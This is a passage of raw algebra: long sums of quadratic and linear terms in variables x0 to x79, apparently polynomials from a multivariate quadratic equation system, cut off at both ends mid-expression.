x4*x33 + x4*x34 + x4*x38 + x4*x40 + x4*x41 + x4*x43 + x4*x44 + x4*x46 + x4*x47 + x4*x48 + x4*x51 + x4*x53 + x4*x56 + x4*x60 + x4*x61 + x4*x64 + x4*x65 + x4*x66 + x4*x68 + x4*x70 + x4*x72 + x4*x73 + x4*x74 + x4*x75 + x4*x78 + x4 + x5*x6 + x5*x9 + x5*x10 + x5*x11 + x5*x12 + x5*x14 + x5*x15 + x5*x16 + x5*x18 + x5*x20 + x5*x23 + x5*x29 + x5*x30 + x5*x32 + x5*x34 + x5*x35 + x5*x36 + x5*x39 + x5*x41 + x5*x43 + x5*x45 + x5*x46 + x5*x51 + x5*x52 + x5*x54 + x5*x55 + x5*x58 + x5*x62 + x5*x63 + x5*x65 + x5*x66 + x5*x68 + x5*x69 + x5*x72 + x5*x74 + x5*x78 + x6*x11 + x6*x12 + x6*x15 + x6*x20 + x6*x21 + x6*x22 + x6*x27 + x6*x30 + x6*x32 + x6*x33 + x6*x35 + x6*x36 + x6*x39 + x6*x41 + x6*x42 + x6*x43 + x6*x45 + x6*x48 + x6*x50 + x6*x52 + x6*x53 + x6*x55 + x6*x56 + x6*x57 + x6*x63 + x6*x65 + x6*x66 + x6*x67 + x6*x71 + x6*x72 + x6*x73 + x6*x75 + x6*x76 + x6*x78 + x7*x9 + x7*x13 + x7*x16 + x7*x18 + x7*x21 + x7*x27 + x7*x31 + x7*x32 + x7*x35 + x7*x37 + x7*x40 + x7*x42 + x7*x43 + x7*x44 + x7*x45 + x7*x47 + x7*x50 + x7*x53 + x7*x56 + x7*x60 + x7*x62 + x7*x65 + x7*x69 + x7*x70 + x7*x71 + x7*x72 + x7*x75 + x7*x78 + x7 + x8*x13 + x8*x14 + x8*x17 + x8*x23 + x8*x24 + x8*x25 + x8*x27 + x8*x30 + x8*x31 + x8*x32 + x8*x36 + x8*x38 + x8*x39 + x8*x40 + x8*x42 + x8*x44 + x8*x45 + x8*x48 + x8*x53 + x8*x55 + x8*x60 + x8*x62 + x8*x63 + x8*x68 + x8*x71 + x8*x74 + x8*x79 + x8 + x9*x10 + x9*x11 + x9*x12 + x9*x15 + x9*x16 + x9*x20 + x9*x21 + x9*x22 + x9*x23 + x9*x26 + x9*x27 + x9*x28 + x9*x29 + x9*x30 + x9*x33 + x9*x34 + x9*x35 + x9*x37 + x9*x43 + x9*x45 + x9*x46 + x9*x48 + x9*x49 + x9*x53 + x9*x55 + x9*x56 + x9*x60 + x9*x61 + x9*x62 + x9*x63 + x9*x64 + x9*x66 + x9*x69 + x9*x70 + x9*x72 + x9*x73 + x9*x76 + x9*x78 + x9 + x10*x11 + x10*x14 + x10*x18 + x10*x20 + x10*x21 + x10*x22 + x10*x25 + x10*x26 + x10*x28 + x10*x30 + x10*x33 + x10*x34 + x10*x36 + x10*x37 + x10*x38 + x10*x39 + x10*x41 + x10*x42 + x10*x44 + x10*x47 + x10*x49 + x10*x50 + x10*x51 + x10*x52 + x10*x55 + x10*x56 + x10*x58 + x10*x59 + x10*x62 + x10*x63 + x10*x65 + x10*x68 + x10*x69 + x10*x72 + x10*x73 + x10*x74 + x10*x77 + x10*x79 + x11*x14 + x11*x15 + x11*x16 + x11*x18 + x11*x22 + x11*x27 + x11*x28 + x11*x29 + x11*x31 + x11*x32 + x11*x35 + x11*x37 + x11*x38 + x11*x40 + x11*x43 + x11*x45 + x11*x47 + x11*x48 + x11*x50 + x11*x51 + x11*x52 + x11*x53 + x11*x56 + x11*x58 + x11*x60 + x11*x61 + x11*x66 + x11*x69 + x11*x72 + x11*x73 + x11*x74 + x11*x75 + x11*x76 + x11*x77 + x11*x78 + x12*x14 + x12*x17 + x12*x18 + x12*x19 + x12*x27 + x12*x28 + x12*x30 + x12*x31 + x12*x33 + x12*x34 + x12*x39 + x12*x40 + x12*x43 + x12*x45 + x12*x47 + x12*x48 + x12*x49 + x12*x52 + x12*x54 + x12*x55 + x12*x59 + x12*x65 + x12*x67 + x12*x76 + x12*x78 + x12*x79 + x12 + x13*x14 + x13*x15 + x13*x16 + x13*x17 + x13*x19 + x13*x21 + x13*x22 + x13*x23 + x13*x25 + x13*x27 + x13*x31 + x13*x33 + x13*x34 + x13*x35 + x13*x38 + x13*x39 + x13*x40 + x13*x41 + x13*x42 + x13*x43 + x13*x44 + x13*x45 + x13*x46 + x13*x47 + x13*x48 + x13*x49 + x13*x51 + x13*x53 + x13*x54 + x13*x55 + x13*x57 + x13*x58 + x13*x61 + x13*x62 + x13*x64 + x13*x65 + x13*x66 + x13*x68 + x13*x69 + x13*x71 + x13*x75 + x13*x77 + x13*x78 + x13 + x14*x15 + x14*x19 + x14*x20 + x14*x21 + x14*x24 + x14*x25 + x14*x26 + x14*x27 + x14*x29 + x14*x30 + x14*x34 + x14*x36 + x14*x37 + x14*x42 + x14*x45 + x14*x48 + x14*x49 + x14*x51 + x14*x55 + x14*x56 + x14*x57 + x14*x59 + x14*x62 + x14*x63 + x14*x64 + x14*x68 + x14*x69 + x14*x70 + x14*x71 + x14*x72 + x14*x74 + x14*x78 + x14*x79 + x15*x19 + x15*x20 + x15*x22 + x15*x23 + x15*x25 + x15*x28 + x15*x29 + x15*x30 + x15*x31 + x15*x32 + x15*x33 + x15*x34 + x15*x38 + x15*x39 + x15*x40 + x15*x41 + x15*x42 + x15*x43 + x15*x44 + x15*x46 + x15*x47 + x15*x48 + x15*x50 + x15*x52 + x15*x57 + x15*x61 + x15*x62 + x15*x63 + x15*x64 + x15*x65 + x15*x66 + x15*x67 + x15*x71 + x15*x75 + x15*x76 + x15*x78 + x15*x79 + x16*x17 + x16*x21 + x16*x24 + x16*x25 + x16*x26 + x16*x27 + x16*x28 + x16*x30 + x16*x31 + x16*x34 + x16*x35 + x16*x38 + x16*x39 + x16*x41 + x16*x43 + x16*x48 + x16*x49 + x16*x50 + x16*x52 + x16*x53 + x16*x54 + x16*x56 + x16*x58 + x16*x60 + x16*x64 + x16*x70 + x16*x71 + x16*x72 + x16*x73 + x16*x75 + x16*x77 + x16*x78 + x16*x79 + x16 + x17*x18 + x17*x22 + x17*x25 + x17*x30 + x17*x32 + x17*x33 + x17*x34 + x17*x35 + x17*x36 + x17*x37 + x17*x38 + x17*x39 + x17*x40 + x17*x46 + x17*x47 + x17*x48 + x17*x52 + x17*x53 + x17*x55 + x17*x56 + x17*x57 + x17*x58 + x17*x59 + x17*x61 + x17*x64 + x17*x65 + x17*x66 + x17*x67 + x17*x69 + x17*x70 + x17*x73 + x17*x75 + x17*x78 + x17*x79 + x18*x20 + x18*x21 + x18*x24 + x18*x28 + x18*x30 + x18*x34 + x18*x40 + x18*x43 + x18*x45 + x18*x46 + x18*x47 + x18*x48 + x18*x49 + x18*x51 + x18*x52 + x18*x54 + x18*x56 + x18*x57 + x18*x58 + x18*x61 + x18*x63 + x18*x64 + x18*x67 + x18*x71 + x18*x72 + x18*x73 + x18*x74 + x18*x75 + x18*x77 + x18*x78 + x18*x79 + x18 + x19*x21 + x19*x22 + x19*x26 + x19*x28 + x19*x33 + x19*x35 + x19*x37 + x19*x38 + x19*x41 + x19*x43 + x19*x44 + x19*x46 + x19*x50 + x19*x51 + x19*x54 + x19*x56 + x19*x57 + x19*x59 + x19*x62 + x19*x64 + x19*x66 + x19*x67 + x19*x68 + x19*x71 + x19*x72 + x19*x73 + x19*x74 + x19*x75 + x19*x78 + x20*x21 + x20*x23 + x20*x24 + x20*x26 + x20*x27 + x20*x29 + x20*x33 + x20*x34 + x20*x36 + x20*x37 + x20*x39 + x20*x40 + x20*x41 + x20*x47 + x20*x48 + x20*x52 + x20*x54 + x20*x55 + x20*x56 + x20*x57 + x20*x59 + x20*x61 + x20*x66 + x20*x70 + x20*x71 + x20*x72 + x20*x74 + x20*x75 + x20*x76 + x20*x77 + x20*x78 + x20 + x21*x24 + x21*x25 + x21*x26 + x21*x28 + x21*x30 + x21*x31 + x21*x36 + x21*x38 + x21*x43 + x21*x45 + x21*x47 + x21*x52 + x21*x53 + x21*x54 + x21*x57 + x21*x62 + x21*x68 + x21*x70 + x21*x74 + x21*x76 + x21*x77 + x21*x79 + x22*x24 + x22*x25 + x22*x28 + x22*x29 + x22*x33 + x22*x34 + x22*x40 + x22*x42 + x22*x43 + x22*x44 + x22*x49 + x22*x50 + x22*x51 + x22*x53 + x22*x54 + x22*x55 + x22*x58 + x22*x59 + x22*x61 + x22*x63 + x22*x65 + x22*x67 + x22*x69 + x22*x70 + x22*x73 + x22*x74 + x22*x75 + x22*x76 + x22*x78 + x22 + x23*x25 + x23*x26 + x23*x31 + x23*x34 + x23*x35 + x23*x37 + x23*x38 + x23*x40 + x23*x41 + x23*x42 + x23*x44 + x23*x45 + x23*x47 + x23*x48 + x23*x49 + x23*x55 + x23*x56 + x23*x58 + x23*x59 + x23*x60 + x23*x62 + x23*x64 + x23*x65 + x23*x66 + x23*x68 + x23*x72 + x23*x74 + x24*x26 + x24*x29 + x24*x30 + x24*x31 + x24*x33 + x24*x34 + x24*x36 + x24*x40 + x24*x45 + x24*x46 + x24*x48 + x24*x53 + x24*x54 + x24*x55 + x24*x56 + x24*x57 + x24*x58 + x24*x59 + x24*x61 + x24*x63 + x24*x64 + x24*x66 + x24*x69 + x24*x70 + x24*x72 + x24*x73 + x24*x75 + x24*x77 + x25*x28 + x25*x29 + x25*x31 + x25*x32 + x25*x33 + x25*x35 + x25*x36 + x25*x37 + x25*x41 + x25*x48 + x25*x52 + x25*x54 + x25*x58 + x25*x60 + x25*x61 + x25*x63 + x25*x65 + x25*x66 + x25*x68 + x25*x69 + x25*x70 + x25*x71 + x25*x72 + x25*x75 + x25*x76 + x25*x77 + x25*x79 + x26*x30 + x26*x32 + x26*x34 + x26*x35 + x26*x36 + x26*x37 + x26*x38 + x26*x42 + x26*x43 + x26*x44 + x26*x45 + x26*x46 + x26*x47 + x26*x52 + x26*x53 + x26*x54 + x26*x57 + x26*x58 + x26*x59 + x26*x60 + x26*x61 + x26*x62 + x26*x63 + x26*x64 + x26*x66 + x26*x67 + x26*x68 + x26*x69 + x26*x70 + x26*x71 + x26*x72 + x26*x74 + x26*x75 + x26*x77 + x26*x78 + x27*x28 + x27*x31 + x27*x34 + x27*x35 + x27*x36 + x27*x38 + x27*x39 + x27*x40 + x27*x41 + x27*x42 + x27*x43 + x27*x45 + x27*x46 + x27*x48 + x27*x49 + x27*x52 + x27*x59 + x27*x60 + x27*x61 + x27*x65 + x27*x67 + x27*x68 + x27*x69 + x27*x70 + x27*x72 + x27*x74 + x27*x76 + x27*x78 + x27*x79 + x28*x30 + x28*x32 + x28*x33 + x28*x35 + x28*x37 + x28*x38 + x28*x39 + x28*x40 + x28*x41 + x28*x42 + x28*x43 + x28*x45 + x28*x46 + x28*x47 + x28*x48 + x28*x53 + x28*x54 + x28*x58 + x28*x59 + x28*x60 + x28*x62 + x28*x63 + x28*x67 + x28*x68 + x28*x71 + x28*x72 + x28*x73 + x28*x75 + x28*x76 + x28*x79 + x28 + x29*x30 + x29*x34 + x29*x38 + x29*x39 + x29*x41 + x29*x42 + x29*x45 + x29*x47 + x29*x49 + x29*x50 + x29*x53 + x29*x54 + x29*x55 + x29*x56 + x29*x58 + x29*x61 + x29*x63 + x29*x64 + x29*x65 + x29*x68 + x29*x69 + x29*x73 + x29*x75 + x29*x78 + x29 + x30*x32 + x30*x34 + x30*x35 + x30*x36 + x30*x37 + x30*x38 + x30*x41 + x30*x43 + x30*x46 + x30*x47 + x30*x48 + x30*x53 + x30*x54 + x30*x55 + x30*x57 + x30*x58 + x30*x59 + x30*x61 + x30*x62 + x30*x63 + x30*x64 + x30*x66 + x30*x68 + x30*x72 + x30*x73 + x30*x75 + x30*x77 + x30*x79 + x31*x33 + x31*x35 + x31*x37 + x31*x38 + x31*x39 + x31*x42 + x31*x43 + x31*x44 + x31*x45 + x31*x48 + x31*x49 + x31*x54 + x31*x55 + x31*x56 + x31*x58 + x31*x59 + x31*x60 + x31*x64 + x31*x65 + x31*x67 + x31*x69 + x31*x73 + x31*x74 + x31*x76 + x31*x77 + x31*x79 + x32*x33 + x32*x34 + x32*x35 + x32*x36 + x32*x38 + x32*x42 + x32*x43 + x32*x44 + x32*x45 + x32*x50 + x32*x51 + x32*x52 + x32*x54 + x32*x56 + x32*x58 + x32*x60 + x32*x62 + x32*x63 + x32*x72 + x32*x73 + x32*x75 + x32*x77 + x32*x79 + x33*x35 + x33*x42 + x33*x46 + x33*x49 + x33*x51 + x33*x52 + x33*x54 + x33*x56 + x33*x58 + x33*x59 + x33*x60 + x33*x61 + x33*x69 + x33*x73 + x33*x76 + x33*x78 + x33 + x34*x36 + x34*x37 + x34*x38 + x34*x39 + x34*x40 + x34*x41 + x34*x43 + x34*x44 + x34*x48 + x34*x51 + x34*x52 + x34*x60 + x34*x61 + x34*x67 + x34*x69 + x34*x70 + x34*x73 + x34*x75 + x34*x77 + x34*x78 + x34*x79 + x35*x37 + x35*x39 + x35*x40 + x35*x43 + x35*x45 + x35*x48 + x35*x51 + x35*x52 + x35*x56 + x35*x58 + x35*x60 + x35*x62 + x35*x64 + x35*x65 + x35*x67 + x35*x68 + x35*x69 + x35*x71 + x35*x72 + x35*x73 + x35*x75 + x35*x77 + x35*x78 + x36*x37 + x36*x39 + x36*x40 + x36*x46 + x36*x49 + x36*x51 + x36*x52 + x36*x53 + x36*x55 + x36*x57 + x36*x58 + x36*x59 + x36*x60 + x36*x63 + x36*x68 + x36*x69 + x36*x70 + x36*x71 + x36*x72 + x36*x75 + x36*x76 + x36*x77 + x36*x79 + x37*x38 + x37*x42 + x37*x43 + x37*x44 + x37*x48 + x37*x50 + x37*x54 + x37*x57 + x37*x59 + x37*x61 + x37*x62 + x37*x63 + x37*x65 + x37*x71 + x37*x72 + x37*x74 + x38*x39 + x38*x40 + x38*x42 + x38*x43 + x38*x45 + x38*x47 + x38*x48 + x38*x50 + x38*x51 + x38*x52 + x38*x54 + x38*x59 + x38*x61 + x38*x64 + x38*x65 + x38*x67 + x38*x68 + x38*x71 + x38*x73 + x38*x74 + x38*x75 + x38*x78 + x39*x41 + x39*x42 + x39*x43 + x39*x44 + x39*x46 + x39*x49 + x39*x51 + x39*x52 + x39*x53 + x39*x55 + x39*x56 + x39*x60 + x39*x61 + x39*x62 + x39*x63 + x39*x68 + x39*x69 + x39*x70 + x39*x71 + x39*x74 + x39*x75 + x39*x76 + x39*x78 + x39 + x40*x41 + x40*x42 + x40*x43 + x40*x46 + x40*x47 + x40*x48 + x40*x50 + x40*x51 + x40*x52 + x40*x53 + x40*x54 + x40*x57 + x40*x59 + x40*x61 + x40*x62 + x40*x63 + x40*x65 + x40*x66 + x40*x67 + x40*x69 + x40*x72 + x40*x74 + x40*x76 + x40*x79 + x41*x42 + x41*x45 + x41*x46 + x41*x48 + x41*x49 + x41*x50 + x41*x54 + x41*x60 + x41*x61 + x41*x62 + x41*x63 + x41*x67 + x41*x70 + x41*x73 + x41*x76 + x41*x78 + x41*x79 + x42*x48 + x42*x52 + x42*x53 + x42*x56 + x42*x57 + x42*x59 + x42*x60 + x42*x61 + x42*x62 + x42*x64 + x42*x67 + x42*x69 + x42*x72 + x42*x73 + x42*x74 + x42*x75 + x42*x76 + x42*x78 + x43*x44 + x43*x47 + x43*x49 + x43*x56 + x43*x62 + x43*x63 + x43*x64 + x43*x65 + x43*x66 + x43*x70 + x43*x71 + x43*x73 + x43*x74 + x43*x78 + x44*x45 + x44*x46 + x44*x47 + x44*x50 + x44*x51 + x44*x52 + x44*x54 + x44*x55 + x44*x57 + x44*x59 + x44*x62 + x44*x63 + x44*x67 + x44*x68 + x44*x69 + x44*x70 + x44*x72 + x44*x74 + x44*x75 + x44*x76 + x44*x79 + x45*x46 + x45*x47 + x45*x50 + x45*x51 + x45*x52 + x45*x55 + x45*x57 + x45*x60 + x45*x63 + x45*x65 + x45*x69 + x45*x72 + x45*x73 + x45*x74 + x45*x75 + x45*x78 + x45*x79 + x46*x49 + x46*x50 + x46*x53 + x46*x54 + x46*x55 + x46*x56 + x46*x58 + x46*x59 + x46*x61 + x46*x63 + x46*x64 + x46*x65 + x46*x66 + x46*x67 + x46*x70 + x46*x72 + x46*x73 + x46*x74 + x46*x76 + x46*x77 + x46*x78 + x46*x79 + x47*x52 + x47*x55 + x47*x56 + x47*x58 + x47*x63 + x47*x67 + x47*x68 + x47*x72 + x47*x75 + x47*x77 + x47*x78 + x48*x50 + x48*x52 + x48*x53 + x48*x55 + x48*x57 + x48*x59 + x48*x60 + x48*x61 + x48*x62 + x48*x64 + x48*x66 + x48*x67 + x48*x68 + x48*x74 + x48*x75 + x48*x77 + x48*x79 + x48 + x49*x51 + x49*x52 + x49*x53 + x49*x56 + x49*x57 + x49*x58 + x49*x62 + x49*x64 + x49*x65 + x49*x67 + x49*x68 + x49*x70 + x49*x71 + x49*x72 + x49*x73 + x49*x75 + x49*x76 + x49*x77 + x49*x78 + x50*x51 + x50*x53 + x50*x54 + x50*x56 + x50*x65 + x50*x67 + x50*x69 + x50*x72 + x50*x74 + x51*x53 + x51*x54 + x51*x56 + x51*x58 + x51*x62 + x51*x63 + x51*x64 + x51*x65 + x51*x66 + x51*x69 + x51*x70 + x51*x72 + x51*x73 + x51*x74 + x51*x76 + x51*x77 + x51*x78 + x51*x79 + x52*x56 + x52*x63 + x52*x66 + x52*x69 + x52*x72 + x52*x75 + x52*x77 + x52 + x53*x54 + x53*x56 + x53*x57 + x53*x58 + x53*x60 + x53*x61 + x53*x62 + x53*x64 + x53*x66 + x53*x67 + x53*x68 + x53*x71 + x53*x72 + x53*x73 + x53*x75 + x53*x77 + x53*x78 + x54*x57 + x54*x58 + x54*x59 + x54*x60 + x54*x62 + x54*x64 + x54*x65 + x54*x66 + x54*x70 + x54*x72 + x54*x75 + x54*x76 + x54 + x55*x56 + x55*x58 + x55*x59 + x55*x63 + x55*x64 + x55*x67 + x55*x69 + x55*x70 + x55*x72 + x55*x73 + x55*x74 + x55*x75 + x55*x76 + x55*x78 + x56*x58 + x56*x60 + x56*x61 + x56*x63 + x56*x64 + x56*x65 + x56*x66 + x56*x67 + x56*x69 + x56*x70 + x56*x71 + x56*x72 + x56*x74 + x56*x75 + x56*x76 + x56*x77 + x56*x78 + x56 + x57*x58 + x57*x59 + x57*x60 + x57*x62 + x57*x64 + x57*x65 + x57*x66 + x57*x69 + x57*x70 + x57*x72 + x57*x73 + x57*x77 + x57*x78 + x58*x59 + x58*x60 + x58*x63 + x58*x64 + x58*x65 + x58*x67 + x58*x69 + x58*x70 + x58*x71 + x58*x73 + x58*x74 + x58*x75 + x58*x76 + x58 + x59*x60 + x59*x61 + x59*x62 + x59*x64 + x59*x65 + x59*x66 + x59*x67 + x59*x72 + x59*x74 + x59*x75 + x59*x77 + x59*x78 + x59*x79 + x60*x63 + x60*x65 + x60*x66 + x60*x69 + x60*x70 + x60*x75 + x60*x76 + x60*x77 + x60*x78 + x60*x79 + x61*x62 + x61*x63 + x61*x64 + x61*x65 + x61*x66 + x61*x67 + x61*x68 + x61*x69 + x61*x70 + x61*x71 + x61*x72 + x61 + x62*x65 + x62*x66 + x62*x70 + x62*x72 + x62*x74 + x62*x79 + x63*x65 + x63*x67 + x63*x69 + x63*x71 + x63*x72 + x63*x77 + x63*x78 + x63 + x64*x65 + x64*x66 + x64*x67 + x64*x69 + x64*x70 + x64*x71 + x64*x74 + x64*x75 + x64*x79 + x65*x66 + x65*x67 + x65*x70 + x65*x73 + x65*x75 + x65*x76 + x65*x77 + x66*x68 + x66*x69 + x66*x70 + x66*x72 + x66*x73 + x66*x74 + x66*x76 + x66*x78 + x66*x79 + x66 + x67*x69 + x67*x72 + x67*x73 + x67*x74 + x67*x75 + x67*x76 + x67*x78 + x68*x70 + x68*x71 + x68*x74 + x68*x76 + x68*x77 + x68*x79 + x69*x71 + x69*x75 + x69*x76 + x69*x77 + x69*x79 + x69 + x70*x71 + x70*x74 + x70*x75 + x70*x77 + x70 + x71*x72 + x71*x76 + x71*x78 + x71*x79 + x71 + x72*x73 + x72*x74 + x72*x75 + x72*x77 + x72*x78 + x72*x79 + x73*x74 + x73*x75 + x73*x77 + x73*x78 + x73*x79 + x73 + x74*x77 + x74 + x75*x77 + x75 + x76*x78 + x76*x79 + x76 + x77*x78 + x78 + x79, x0*x1 + x0*x8 + x0*x10 + x0*x11 + x0*x13 + x0*x14 + x0*x16 + x0*x18 + x0*x19 + x0*x21 + x0*x22 + x0*x25 + x0*x27 + x0*x33 + x0*x35 + x0*x36 + x0*x37 + x0*x38 + x0*x40 + x0*x41 + x0*x42 + x0*x43 + x0*x44 + x0*x45 + x0*x51 + x0*x53 + x0*x57 + x0*x58 + x0*x59 + x0*x61 + x0*x63 + x0*x64 + x0*x65 + x0*x66 + x0*x68 + x0*x71 + x0*x75 + x0*x77 + x0 + x1*x2 + x1*x4 + x1*x5 + x1*x6 + x1*x8 + x1*x10 + x1*x12 + x1*x14 + x1*x17 + x1*x19 + x1*x20 + x1*x22 + x1*x23 + x1*x27 + x1*x28 + x1*x29 + x1*x31 + x1*x40 + x1*x42 + x1*x43 + x1*x46 + x1*x48 + x1*x51 + x1*x52 + x1*x53 + x1*x55 + x1*x57 + x1*x58 + x1*x64 + x1*x66 + x1*x69 + x1*x72 + x1*x73 + x1*x77 + x1*x78 + x2*x4 + x2*x5 + x2*x7 + x2*x10 + x2*x13 + x2*x17 + x2*x18 + x2*x19 + x2*x26 + x2*x29 + x2*x32 + x2*x35 + x2*x36 + x2*x37 + x2*x42 + x2*x45 + x2*x46 + x2*x50 + x2*x52 + x2*x53 + x2*x55 + x2*x58 + x2*x60 + x2*x61 + x2*x62 + x2*x63 + x2*x68 + x2*x72 + x2*x73 + x2*x74 + x2*x76 + x2*x77 + x2*x79 + x2 + x3*x4 + x3*x5 + x3*x7 + x3*x8 + x3*x9 + x3*x10 + x3*x11 + x3*x12 + x3*x13 + x3*x17 + x3*x18 + x3*x19 + x3*x20 + x3*x22 + x3*x23 + x3*x24 + x3*x30 + x3*x31 + x3*x33 + x3*x34 + x3*x35 + x3*x40 + x3*x42 + x3*x45 + x3*x47 + x3*x48 + x3*x51 + x3*x53 + x3*x56 + x3*x57 + x3*x58 + x3*x59 + x3*x61 + x3*x62 + x3*x64 + x3*x66 + x3*x67 + x3*x70 + x3*x71 + x3*x74 + x3*x77 + x3*x79 + x4*x5 + x4*x7 + x4*x8 + x4*x10 + x4*x11 + x4*x12 + x4*x13 + x4*x15 + x4*x16 + x4*x17 + x4*x20 + x4*x21 + x4*x23 + x4*x24 + x4*x26 + x4*x27 + x4*x30 + x4*x34 + x4*x35 + x4*x36 + x4*x38 + x4*x42 + x4*x43 + x4*x44 + x4*x47 + x4*x48 + x4*x52 + x4*x58 + x4*x59 + x4*x62 + x4*x63 + x4*x65 + x4*x68 + x4*x72 + x4*x74 + x4*x79 + x5*x6 + x5*x9 + x5*x15 + x5*x16 + x5*x18 + x5*x20 + x5*x21 + x5*x22 + x5*x27 + x5*x28 + x5*x31 + x5*x34 + x5*x36 + x5*x39 + x5*x41 + x5*x43 + x5*x44 + x5*x48 + x5*x51 + x5*x52 + x5*x53 + x5*x54 + x5*x58 + x5*x59 + x5*x61 + x5*x62 + x5*x65 + x5*x66 + x5*x67 + x5*x72 + x5*x73 + x5*x74 + x5*x75 + x5*x79 + x6*x7 + x6*x9 + x6*x10 + x6*x12 + x6*x13 + x6*x14 + x6*x15 + x6*x16 + x6*x19 + x6*x22 + x6*x23 + x6*x25 + x6*x30 + x6*x33 + x6*x34 + x6*x36 + x6*x39 + x6*x40 + x6*x42 + x6*x43 + x6*x46 + x6*x48 + x6*x49 + x6*x50 + x6*x51 + x6*x53 + x6*x55 + x6*x56 + x6*x57 + x6*x58 + x6*x61 + x6*x62 + x6*x64 + x6*x66 + x6*x67 + x6*x69 + x6*x70 + x6*x71 + x6*x72 + x6*x73 + x6*x74 + x6*x75 + x6*x76 + x6*x77 + x6*x78 + x6*x79 + x6 + x7*x10 + x7*x12 + x7*x13 + x7*x14 + x7*x17 + x7*x19 + x7*x21 + x7*x26 + x7*x28 + x7*x30 + x7*x34 + x7*x37 + x7*x42 + x7*x43 + x7*x44 + x7*x46 + x7*x47 + x7*x48 + x7*x52 + x7*x53 + x7*x55 + x7*x56 + x7*x57 + x7*x60 + x7*x61 + x7*x62 + x7*x65 + x7*x69 + x7*x77 + x7*x78 + x7*x79 + x8*x11 + x8*x13 + x8*x14 + x8*x16 + x8*x19 + x8*x20 + x8*x21 + x8*x25 + x8*x27 + x8*x28 + x8*x32 + x8*x33 + x8*x34 + x8*x36 + x8*x37 + x8*x38 + x8*x40 + x8*x42 + x8*x43 + x8*x44 + x8*x46 + x8*x48 + x8*x49 + x8*x51 + x8*x54 + x8*x55 + x8*x59 + x8*x62 + x8*x66 + x8*x67 + x8*x73 + x8*x74 + x8*x79 + x8 + x9*x11 + x9*x15 + x9*x17 + x9*x18 + x9*x19 + x9*x20 + x9*x21 + x9*x22 + x9*x23 + x9*x26 + x9*x27 + x9*x29 + x9*x31 + x9*x32 + x9*x33 + x9*x35 + x9*x38 + x9*x39 + x9*x41 + x9*x42 + x9*x43 + x9*x45 + x9*x46 + x9*x49 + x9*x50 + x9*x51 + x9*x54 + x9*x58 + x9*x60 + x9*x62 + x9*x66 + x9*x67 + x9*x70 + x9*x73 + x9*x77 + x9*x79 + x9 + x10*x11 + x10*x13 + x10*x19 + x10*x20 + x10*x21 + x10*x22 + x10*x23 + x10*x24 + x10*x25 + x10*x28 + x10*x29 + x10*x30 + x10*x32 + x10*x33 + x10*x35 + x10*x36 + x10*x37 + x10*x42 + x10*x43 + x10*x50 + x10*x52 + x10*x53 + x10*x55 + x10*x56 + x10*x57 + x10*x59 + x10*x60 + x10*x62 + x10*x63 + x10*x64 + x10*x65 + x10*x66 + x10*x67 + x10*x70 + x10*x71 + x10*x74 + x10*x76 + x10*x78 + x10 + x11*x12 + x11*x13 + x11*x14 + x11*x15 + x11*x16 + x11*x18 + x11*x19 + x11*x21 + x11*x22 + x11*x23 + x11*x25 + x11*x26 + x11*x27 + x11*x28 + x11*x29 + x11*x30 + x11*x31 + x11*x32 + x11*x33 + x11*x34 + x11*x35 + x11*x38 + x11*x40 + x11*x41 + x11*x42 + x11*x47 + x11*x48 + x11*x51 + x11*x52 + x11*x53 + x11*x54 + x11*x55 + x11*x56 + x11*x57 + x11*x63 + x11*x70 + x11*x72 + x11*x77 + x11*x79 + x12*x18 + x12*x20 + x12*x22 + x12*x24 + x12*x25 + x12*x28 + x12*x30 + x12*x31 + x12*x35 + x12*x36 + x12*x44 + x12*x45 + x12*x48 + x12*x50 + x12*x52 + x12*x53 + x12*x54 + x12*x55 + x12*x56 + x12*x57 + x12*x58 + x12*x59 + x12*x60 + x12*x61 + x12*x63 + x12*x65 + x12*x67 + x12*x69 + x12*x70 + x12*x71 + x12*x72 + x12*x75 + x12*x78 + x12*x79 + x12 + x13*x14 + x13*x16 + x13*x17 + x13*x19 + x13*x22 + x13*x24 + x13*x29 + x13*x30 + x13*x32 + x13*x33 + x13*x37 + x13*x38 + x13*x39 + x13*x40 + x13*x45 + x13*x46 + x13*x48 + x13*x50 + x13*x51 + x13*x55 + x13*x56 + x13*x57 + x13*x61 + x13*x63 + x13*x65 + x13*x66 + x13*x67 + x13*x68 + x13*x69 + x13*x70 + x13*x71 + x13*x73 + x13*x76 + x13*x78 + x13 + x14*x19 + x14*x20 + x14*x21 + x14*x22 + x14*x23 + x14*x26 + x14*x30 + x14*x31 + x14*x32 + x14*x34 + x14*x40 + x14*x41 + x14*x47 + x14*x53 + x14*x54 + x14*x56 + x14*x57 + x14*x61 + x14*x63 + x14*x65 + x14*x66 + x14*x67 + x14*x69 + x14*x72 + x14*x73 + x14*x74 + x14*x75 + x14*x78 + x14 + x15*x17 + x15*x18 + x15*x19 + x15*x20 + x15*x23 + x15*x24 + x15*x27 + x15*x28 + x15*x29 + x15*x32 + x15*x33 + x15*x36 + x15*x39 + x15*x40 + x15*x41 + x15*x45 + x15*x46 + x15*x48 + x15*x52 + x15*x53 + x15*x54 + x15*x56 + x15*x57 + x15*x58 + x15*x59 + x15*x60 + x15*x61 + x15*x64 + x15*x65 + x15*x68 + x15*x69 + x15*x70 + x15*x72 + x15*x73 + x15*x74 + x15*x77 + x15*x78 + x15*x79 + x15 + x16*x24 + x16*x29 + x16*x30 + x16*x34 + x16*x35 + x16*x36 + x16*x38 + x16*x40 + x16*x46 + x16*x47 + x16*x48 + x16*x52 + x16*x54 + x16*x55 + x16*x57 + x16*x59 + x16*x64 + x16*x66 + x16*x67 + x16*x70 + x16*x72 + x16*x74 + x16*x76 + x16*x79 + x16 + x17*x20 + x17*x22 + x17*x23 + x17*x25 + x17*x26 + x17*x27 + x17*x29 + x17*x30 + x17*x32 + x17*x35 + x17*x37 + x17*x41 + x17*x43 + x17*x45 + x17*x46 + x17*x47 + x17*x49 + x17*x50 + x17*x53 + x17*x56 + x17*x57 + x17*x58 + x17*x64 + x17*x65 + x17*x67 + x17*x68 + x17*x71 + x17*x74 + x17*x75 + x17*x77 + x17 + x18*x19 + x18*x20 + x18*x22 + x18*x23 + x18*x24 + x18*x27 + x18*x29 + x18*x31 + x18*x32 + x18*x33 + x18*x34 + x18*x42 + x18*x43 + x18*x47 + x18*x48 + x18*x51 + x18*x52 + x18*x54 + x18*x55 + x18*x56 + x18*x57 + x18*x60 + x18*x62 + x18*x63 + x18*x64 + x18*x66 + x18*x67 + x18*x68 + x18*x70 + x18*x71 + x18*x73 + x18*x74 + x18*x76 + x18*x77 + x18 + x19*x20 + x19*x21 + x19*x22 + x19*x25 + x19*x26 + x19*x30 + x19*x31 + x19*x33 + x19*x34 + x19*x38 + x19*x39 